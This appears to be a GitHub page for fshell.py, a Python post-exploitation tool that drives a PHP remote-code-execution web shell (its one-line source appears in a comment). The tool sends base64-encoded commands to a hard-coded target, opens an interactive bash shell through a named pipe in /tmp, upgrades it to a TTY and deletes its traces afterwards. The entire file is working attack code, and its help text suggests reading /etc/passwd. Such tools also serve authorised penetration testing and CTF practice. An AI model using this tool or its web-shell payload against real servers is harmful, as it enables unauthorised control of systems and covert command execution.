-
Notifications
You must be signed in to change notification settings - Fork 6
/
fshell.py
243 lines (187 loc) · 7.52 KB
/
fshell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
#!/usr/bin/python3
# Author: Hypnoze57 <Hypnoze57@protonmail.com>
"""
What the fuck is going wrong with env/pwd/whoami cmd?
# env, pwd, whoami --> echo cmd > fifo
# others cmd --> echo "cmd" > fifo
"""
import requests
from time import sleep
from sys import exit
from threading import Thread
from random import randint
from base64 import b64encode
from termcolor import colored
WRITABLE_FOLDER = '/tmp' # Prefer /dev/shm if write permission is set to your current user
BEACONING_DELAY = .3 # secs
UPGRADE_CMD_DELAY = 2 # secs
WTF_CMD = ['env', 'pwd', 'whoami']
def execute(cmd, timeout=None, verbose=False):
"""
:cmd Raw shell command to execute on the remote system
:timetout MANDATORY: Used to kill the shell execution loop (started after the named pipe creation).
If you cannot use timeout, put the named pipe creation in a separated thread.
:verbose Print full cmd executed on the remote system (Debug mode)
execute(...) -> return string that is raw output of cmd
"""
if verbose:
pcmd = colored(cmd, 'white', 'on_red')
print("Executing %s" % (pcmd))
if timeout:
print("Timeout: %s" % (timeout))
# Encoding to avoid bad chars in URL
cmd = b64encode(cmd.encode()).decode()
# rce.php --> <?php @system(base64_decode($_REQUEST['cmd'])); ?>
try:
r = requests.get('http://pwn:54345/ppwnme/rce.php?cmd=%s' % (cmd), timeout=timeout)
except requests.exceptions.Timeout:
return None
return r.text.strip()
class GetOutput(Thread):
def __init__(self, sessid, removeFirstLineBeforePrinting=False):
super(GetOutput, self).__init__(name='GetOutput')
self.sessid = sessid
self.rflbp = removeFirstLineBeforePrinting
self.pause = False
self.stop = False
def read_output(self):
out = execute('cat %s/out.%d' % (WRITABLE_FOLDER, self.sessid))
if out != '':
execute('echo '' > %s/out.%d' % (WRITABLE_FOLDER, self.sessid)) # Clean output for next GetOutput request
return out
return None
def run(self):
while not self.stop:
while self.pause:
sleep(.1)
out = self.read_output()
if out:
if self.rflbp:
out = '\n'.join(out.split('\n')[1:])
print('%s ' % (out), end='')
sleep(BEACONING_DELAY)
class NamedPipe(object):
def __init__(self, timeout=3.5):
self.sessid = randint(1000, 100000)
self.timeout = timeout
def create(self):
# cmd = "mkfifo {F}/in.{id}; (tail -f {F}/in.{id} | /bin/bash -i > {F}/out.{id} 2>&1)".format(F=WRITABLE_FOLDER, id=self.sessid)
cmd = "mkfifo {F}/in.{id}".format(F=WRITABLE_FOLDER, id=self.sessid)
execute(cmd)
cmd = "tail -f {F}/in.{id} | /bin/bash -i > {F}/out.{id} 2>&1".format(F=WRITABLE_FOLDER, id=self.sessid)
execute(cmd, timeout=self.timeout)
def clean(self):
cmd = 'rm {F}/in.{id} {F}/out.{id}'.format(F=WRITABLE_FOLDER, id=np.sessid)
execute(cmd)
def kill_process(self):
cmd = "kill -9 $(ps aux | grep -E -m1 '(in|out)\\.%s'|awk -F ' ' '{print $2}')" % (self.sessid)
execute(cmd)
sleep(UPGRADE_CMD_DELAY)
execute(cmd)
class FShell(object):
def __init__(self, sessid, GetOutputThread):
self.sessid = sessid
self.out = GetOutputThread
self.base_cmd = 'echo {cmd} > {F}/in.{id}'
self.upgraded = False
def format_cmd(self, cmd):
return self.base_cmd.format(cmd=cmd, F=WRITABLE_FOLDER, id=self.sessid)
def upgrade_shell(self):
print(colored("Upgrading shell.. (~10 secs)", 'green'))
# self.out.rflbp = True
self.out.pause = True
execute(self.format_cmd('"python -c \'import pty;pty.spawn(\\"/bin/bash\\")\'"'))
sleep(UPGRADE_CMD_DELAY*2)
execute(self.format_cmd('"export TERM=xterm"'))
sleep(UPGRADE_CMD_DELAY)
execute(self.format_cmd('"alias ls=\'ls --color=auto\'"'))
sleep(UPGRADE_CMD_DELAY)
execute(self.format_cmd('"alias ll=\'ls -lah\' "'))
sleep(UPGRADE_CMD_DELAY)
self.out.pause = False
self.upgraded = True
def run(self):
while True:
try:
raw_cmd = input()
except KeyboardInterrupt:
print("\nUse '%s' to quit!\n" % (colored('exit_shell', 'red')))
self.ps1()
continue
if not raw_cmd:
self.ps1()
continue
elif raw_cmd == 'exit_shell':
print("Closing user FShell!")
break
elif raw_cmd == 'upgrade_shell':
if not self.upgraded:
self.upgrade_shell()
else:
print(colored("Already upgraded!", 'red'))
continue
elif raw_cmd == 'get_sessid':
print(colored('FShell sessid %s' % (self.sessid), 'red'))
self.ps1()
continue
elif raw_cmd == 'help_shell':
self.print_help()
self.ps1()
continue
elif raw_cmd not in WTF_CMD:
raw_cmd = '"%s"' % (raw_cmd)
execute(self.format_cmd(raw_cmd)) # , True) # Debug mode
sleep(.2) # restore remote PS1 before input() again
print("Closing remote shell..")
self.close_shell()
def close_shell(self):
self.out.stop = True
if self.upgraded:
execute(self.format_cmd('exit ;'))
sleep(UPGRADE_CMD_DELAY)
execute(self.format_cmd('exit'))
sleep(UPGRADE_CMD_DELAY)
execute(self.format_cmd('exit ;'))
def print_help(self):
print("""
get_sessid: Print session id (/WRITABLE_FOLDER/{in,out}.{sessid} files on the remote system)
upgrade_shell: Upgrade to tty using python pty and bash
exit_shell: Send 3 exit command if shell is upgraded, 1 if not
""")
def ps1(self):
print("$> ", end='')
def rce_check():
data = "He<>&|00"
out = execute('echo "%s"' % data)
return True if out == data else False
def advertise():
WARNING = "WARNING! If you don't get any response back, try to add a space and/or semi colon at the end of your command."
WARNING_2 = "Eg. 'cat /etc/passwd' --> 'cat /etc/passwd ;'"
UPGRADE_MSG = "Use '%s' command to get interactive tty on the remote server" % (colored('upgrade_shell', 'red'))
print(colored(WARNING, 'white', 'on_red'))
print(colored(WARNING_2, 'white', 'on_red'))
print("\n%s\n" % (UPGRADE_MSG))
if __name__ == '__main__':
advertise()
if not rce_check():
print("Remote code executing seems not working..")
print("Please debug 'execute' function or remove this blokcing check!")
exit(-1)
np = NamedPipe()
print("Creating Named Pipe (%d)..." % (np.sessid))
np.create()
print("Created!")
# Execute a command in named pipe to create output file and avoid remote server error logging for first GetOuput request
execute('echo id > {F}/in.{id}'.format(F=WRITABLE_FOLDER, id=np.sessid))
out = GetOutput(np.sessid)
out.start()
shell = FShell(np.sessid, out)
shell.run() # Pop the shell
print("Killing loop process!")
np.kill_process()
print("Cleaning sessions files on the remote server...")
np.clean()
while out.isAlive():
print("Waiting for 'GetOutput' thread...")
sleep(1)
print("See you soon !")